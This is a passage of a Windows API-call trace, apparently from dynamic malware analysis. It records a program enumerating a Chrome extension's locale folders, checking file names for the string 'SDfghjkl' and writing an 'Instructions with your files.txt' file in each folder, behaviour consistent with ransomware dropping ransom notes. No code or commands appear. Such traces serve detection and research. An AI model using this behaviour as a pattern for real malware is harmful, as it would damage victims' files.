[0129.762] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.762] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.762] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.763] CloseHandle (hObject=0x134) returned 1
[0129.763] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.763] GetProcessHeap () returned 0x810000
[0129.763] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.763] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0129.763] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT") returned 144
[0129.763] GetProcessHeap () returned 0x810000
[0129.763] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.763] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*") returned 146
[0129.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.764] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\.") returned 146
[0129.764] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.764] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\..") returned 147
[0129.764] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.764] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 158
[0129.764] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.764] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.764] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 177
[0129.764] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.765] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.765] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.765] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.766] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.766] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.766] CloseHandle (hObject=0x134) returned 1
[0129.766] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.766] GetProcessHeap () returned 0x810000
[0129.766] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.766] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0129.766] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro") returned 141
[0129.766] GetProcessHeap () returned 0x810000
[0129.766] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.766] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*") returned 143
[0129.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.766] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\.") returned 143
[0129.766] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.766] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\..") returned 144
[0129.767] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.767] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 155
[0129.767] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.767] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.767] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\Instructions with your files.txt") returned 174
[0129.767] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.767] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.768] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.768] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.768] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.768] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.768] CloseHandle (hObject=0x134) returned 1
[0129.768] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.768] GetProcessHeap () returned 0x810000
[0129.768] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.768] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
[0129.769] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru") returned 141
[0129.769] GetProcessHeap () returned 0x810000
[0129.769] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.769] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*") returned 143
[0129.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.770] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\.") returned 143
[0129.770] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.770] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\..") returned 144
[0129.770] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.770] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 155
[0129.770] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.770] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.770] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\Instructions with your files.txt") returned 174
[0129.770] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.770] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.771] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.771] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.771] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.772] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.772] CloseHandle (hObject=0x134) returned 1
[0129.772] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.772] GetProcessHeap () returned 0x810000
[0129.772] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.772] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1
[0129.772] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si") returned 141
[0129.772] GetProcessHeap () returned 0x810000
[0129.772] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.772] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*") returned 143
[0129.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.772] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\.") returned 143
[0129.772] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f7a3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f7a3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
